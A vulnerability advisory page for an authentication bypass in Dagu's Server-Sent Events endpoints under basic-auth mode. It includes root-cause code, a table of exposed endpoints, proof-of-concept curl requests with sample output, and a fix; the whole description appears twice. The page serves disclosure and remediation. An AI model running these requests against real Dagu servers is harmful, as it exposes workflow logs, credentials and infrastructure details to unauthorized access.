Monitor vulnerabilities like this one.
Sign up free to get alerted when software you use is affected.
7.5
Dagu: Unauthenticated Access to Real-Time Data in Basic Auth Mode
GHSA-9wmw-9wph-2vwp
CVE-2026-31882
Summary
An issue in Dagu's basic authentication mode allows anyone to view real-time workflow data, logs, and queue status without a password. This means unauthorized users can see sensitive information. To fix this, update to a version that doesn't have this issue or switch to a different authentication mode.
What to do
- Update dagu to version 2.2.4.
Affected software
| Vendor | Product | Affected versions | Fix available |
|---|---|---|---|
| – | dagu | <= 2.2.4 | 2.2.4 |
Original title
Dagu: SSE Authentication Bypass in Basic Auth Mode
Original description
# SSE Authentication Bypass in Basic Auth Mode
## Summary
When Dagu is configured with HTTP Basic authentication (`DAGU_AUTH_MODE=basic`), all Server-Sent Events (SSE) endpoints are accessible without any credentials. This allows unauthenticated attackers to access real-time DAG execution data, workflow configurations, execution logs, and queue status — bypassing the authentication that protects the REST API.
## Severity
**HIGH** (CVSS 3.1: 7.5 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
## Affected Versions
- dagu v2.2.3 (latest) and likely all versions with basic auth support
## Affected Component
`internal/service/frontend/server.go` — `buildStreamAuthOptions()` function (lines 1177–1201)
## Root Cause
The `buildStreamAuthOptions()` function builds authentication options for SSE/streaming endpoints. When the auth mode is `basic`, it returns an `auth.Options` struct with `BasicAuthEnabled: true` but `AuthRequired` defaults to `false` (Go zero value):
```go
// server.go:1195-1201
if authCfg.Mode == config.AuthModeBasic {
return auth.Options{
Realm: realm,
BasicAuthEnabled: true,
Creds: map[string]string{authCfg.Basic.Username: authCfg.Basic.Password},
// AuthRequired is NOT set — defaults to false
}
}
```
The authentication middleware at `internal/service/frontend/auth/middleware.go:181-183` allows unauthenticated requests when `AuthRequired` is false:
```go
// No credentials provided
// If auth is not required, allow the request through
if !opts.AuthRequired {
next.ServeHTTP(w, r)
return
}
```
The developers left a FIXME comment (line 1193) acknowledging this issue:
```
// FIXME: add a session-token mechanism for basic-auth users so browser
// EventSource requests can authenticate via the ?token= query parameter.
```
## Exposed SSE Endpoints
All SSE routes are affected (`server.go:1004-1019`):
| Endpoint | Data Leaked |
|----------|-------------|
| `/api/v1/events/dags` | All DAG names, descriptions, file paths, schedules, tags, execution status |
| `/api/v1/events/dags/{fileName}` | Individual DAG configuration details |
| `/api/v1/events/dags/{fileName}/dag-runs` | DAG execution history |
| `/api/v1/events/dag-runs` | All active DAG runs across the system |
| `/api/v1/events/dag-runs/{name}/{dagRunId}` | Specific DAG run status and node details |
| `/api/v1/events/dag-runs/{name}/{dagRunId}/logs` | Execution logs (may contain secrets, credentials, API keys) |
| `/api/v1/events/dag-runs/{name}/{dagRunId}/logs/steps/{stepName}` | Step-level stdout/stderr logs |
| `/api/v1/events/queues` | Queue status and pending work items |
| `/api/v1/events/queues/{name}/items` | Queue item details |
| `/api/v1/events/docs-tree` | Documentation tree |
| `/api/v1/events/docs/*` | Documentation content |
Additionally, the Agent SSE stream uses the same auth options (`server.go:1166`).
## Proof of Concept
### Setup
```bash
# Start Dagu with basic auth
export DAGU_AUTH_MODE=basic
export DAGU_AUTH_BASIC_USERNAME=admin
export DAGU_AUTH_BASIC_PASSWORD=secret123
dagu start-all
```
### Verify REST API requires auth
```bash
# Regular API — returns 401 Unauthorized
curl -s -o /dev/null -w "%{http_code}" http://localhost:8080/api/v1/dags
# Output: 401
# With credentials — returns 200
curl -s -o /dev/null -w "%{http_code}" -u admin:secret123 http://localhost:8080/api/v1/dags
# Output: 200
```
### Exploit SSE bypass
```bash
# SSE endpoint WITHOUT any credentials — returns 200 with full data
curl -s -N http://localhost:8080/api/v1/events/dags
```
**Output (truncated):**
```
event: connected
data: {"topic":"dagslist:"}
event: data
data: {"dags":[{"dag":{"name":"example-01-basic-sequential","schedule":[],...},
"filePath":"/home/user/.config/dagu/dags/example-01-basic-sequential.yaml",
"latestDAGRun":{"dagRunId":"...","status":4,"statusLabel":"succeeded",...}},
...]}
```
```bash
# Access execution logs without credentials
curl -s -N http://localhost:8080/api/v1/events/dag-runs/{dagName}/{runId}/logs
```
**Output:**
```
event: data
data: {"schedulerLog":{"content":"...step execution details, parameters, outputs..."},"stepLogs":[...]}
```
### Wrong credentials are rejected
```bash
# Invalid credentials — returns 401 (auth validates IF provided, but doesn't REQUIRE it)
curl -s -o /dev/null -w "%{http_code}" -u wrong:wrong http://localhost:8080/api/v1/events/dags
# Output: 401
```
## Impact
An unauthenticated network attacker can:
1. **Enumerate all workflows**: DAG names, descriptions, file paths, schedules, and tags
2. **Monitor execution in real-time**: Track which workflows are running, their status, and when they complete
3. **Read execution logs**: Access stdout/stderr of workflow steps, which commonly contain sensitive data (API keys, database credentials, tokens, internal hostnames)
4. **Map infrastructure**: File paths and workflow configurations reveal server directory structure and deployment details
5. **Observe queue state**: Understand pending work items and system load
This is especially critical in environments where:
- Workflows process sensitive data (credentials, PII, financial data)
- DAG parameters contain secrets passed at runtime
- Log output includes API responses or database queries with sensitive content
## Suggested Fix
Set `AuthRequired: true` for basic auth mode and implement the session-token mechanism referenced in the FIXME comment:
```go
if authCfg.Mode == config.AuthModeBasic {
return auth.Options{
Realm: realm,
BasicAuthEnabled: true,
AuthRequired: true, // Require authentication
Creds: map[string]string{authCfg.Basic.Username: authCfg.Basic.Password},
}
}
```
For browser SSE compatibility, implement a session token that can be passed via the `?token=` query parameter (the `QueryTokenMiddleware` already exists at `auth/middleware.go:39` to convert query params to Bearer tokens).
## Summary
When Dagu is configured with HTTP Basic authentication (`DAGU_AUTH_MODE=basic`), all Server-Sent Events (SSE) endpoints are accessible without any credentials. This allows unauthenticated attackers to access real-time DAG execution data, workflow configurations, execution logs, and queue status — bypassing the authentication that protects the REST API.
## Severity
**HIGH** (CVSS 3.1: 7.5 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
## Affected Versions
- dagu v2.2.3 (latest) and likely all versions with basic auth support
## Affected Component
`internal/service/frontend/server.go` — `buildStreamAuthOptions()` function (lines 1177–1201)
## Root Cause
The `buildStreamAuthOptions()` function builds authentication options for SSE/streaming endpoints. When the auth mode is `basic`, it returns an `auth.Options` struct with `BasicAuthEnabled: true` but `AuthRequired` defaults to `false` (Go zero value):
```go
// server.go:1195-1201
if authCfg.Mode == config.AuthModeBasic {
return auth.Options{
Realm: realm,
BasicAuthEnabled: true,
Creds: map[string]string{authCfg.Basic.Username: authCfg.Basic.Password},
// AuthRequired is NOT set — defaults to false
}
}
```
The authentication middleware at `internal/service/frontend/auth/middleware.go:181-183` allows unauthenticated requests when `AuthRequired` is false:
```go
// No credentials provided
// If auth is not required, allow the request through
if !opts.AuthRequired {
next.ServeHTTP(w, r)
return
}
```
The developers left a FIXME comment (line 1193) acknowledging this issue:
```
// FIXME: add a session-token mechanism for basic-auth users so browser
// EventSource requests can authenticate via the ?token= query parameter.
```
## Exposed SSE Endpoints
All SSE routes are affected (`server.go:1004-1019`):
| Endpoint | Data Leaked |
|----------|-------------|
| `/api/v1/events/dags` | All DAG names, descriptions, file paths, schedules, tags, execution status |
| `/api/v1/events/dags/{fileName}` | Individual DAG configuration details |
| `/api/v1/events/dags/{fileName}/dag-runs` | DAG execution history |
| `/api/v1/events/dag-runs` | All active DAG runs across the system |
| `/api/v1/events/dag-runs/{name}/{dagRunId}` | Specific DAG run status and node details |
| `/api/v1/events/dag-runs/{name}/{dagRunId}/logs` | Execution logs (may contain secrets, credentials, API keys) |
| `/api/v1/events/dag-runs/{name}/{dagRunId}/logs/steps/{stepName}` | Step-level stdout/stderr logs |
| `/api/v1/events/queues` | Queue status and pending work items |
| `/api/v1/events/queues/{name}/items` | Queue item details |
| `/api/v1/events/docs-tree` | Documentation tree |
| `/api/v1/events/docs/*` | Documentation content |
Additionally, the Agent SSE stream uses the same auth options (`server.go:1166`).
## Proof of Concept
### Setup
```bash
# Start Dagu with basic auth
export DAGU_AUTH_MODE=basic
export DAGU_AUTH_BASIC_USERNAME=admin
export DAGU_AUTH_BASIC_PASSWORD=secret123
dagu start-all
```
### Verify REST API requires auth
```bash
# Regular API — returns 401 Unauthorized
curl -s -o /dev/null -w "%{http_code}" http://localhost:8080/api/v1/dags
# Output: 401
# With credentials — returns 200
curl -s -o /dev/null -w "%{http_code}" -u admin:secret123 http://localhost:8080/api/v1/dags
# Output: 200
```
### Exploit SSE bypass
```bash
# SSE endpoint WITHOUT any credentials — returns 200 with full data
curl -s -N http://localhost:8080/api/v1/events/dags
```
**Output (truncated):**
```
event: connected
data: {"topic":"dagslist:"}
event: data
data: {"dags":[{"dag":{"name":"example-01-basic-sequential","schedule":[],...},
"filePath":"/home/user/.config/dagu/dags/example-01-basic-sequential.yaml",
"latestDAGRun":{"dagRunId":"...","status":4,"statusLabel":"succeeded",...}},
...]}
```
```bash
# Access execution logs without credentials
curl -s -N http://localhost:8080/api/v1/events/dag-runs/{dagName}/{runId}/logs
```
**Output:**
```
event: data
data: {"schedulerLog":{"content":"...step execution details, parameters, outputs..."},"stepLogs":[...]}
```
### Wrong credentials are rejected
```bash
# Invalid credentials — returns 401 (auth validates IF provided, but doesn't REQUIRE it)
curl -s -o /dev/null -w "%{http_code}" -u wrong:wrong http://localhost:8080/api/v1/events/dags
# Output: 401
```
## Impact
An unauthenticated network attacker can:
1. **Enumerate all workflows**: DAG names, descriptions, file paths, schedules, and tags
2. **Monitor execution in real-time**: Track which workflows are running, their status, and when they complete
3. **Read execution logs**: Access stdout/stderr of workflow steps, which commonly contain sensitive data (API keys, database credentials, tokens, internal hostnames)
4. **Map infrastructure**: File paths and workflow configurations reveal server directory structure and deployment details
5. **Observe queue state**: Understand pending work items and system load
This is especially critical in environments where:
- Workflows process sensitive data (credentials, PII, financial data)
- DAG parameters contain secrets passed at runtime
- Log output includes API responses or database queries with sensitive content
## Suggested Fix
Set `AuthRequired: true` for basic auth mode and implement the session-token mechanism referenced in the FIXME comment:
```go
if authCfg.Mode == config.AuthModeBasic {
return auth.Options{
Realm: realm,
BasicAuthEnabled: true,
AuthRequired: true, // Require authentication
Creds: map[string]string{authCfg.Basic.Username: authCfg.Basic.Password},
}
}
```
For browser SSE compatibility, implement a session token that can be passed via the `?token=` query parameter (the `QueryTokenMiddleware` already exists at `auth/middleware.go:39` to convert query params to Bearer tokens).
ghsa CVSS3.1
7.5
Vulnerability type
CWE-306
Missing Authentication for Critical Function
Published: 13 Mar 2026 · Updated: 14 Mar 2026 · First seen: 13 Mar 2026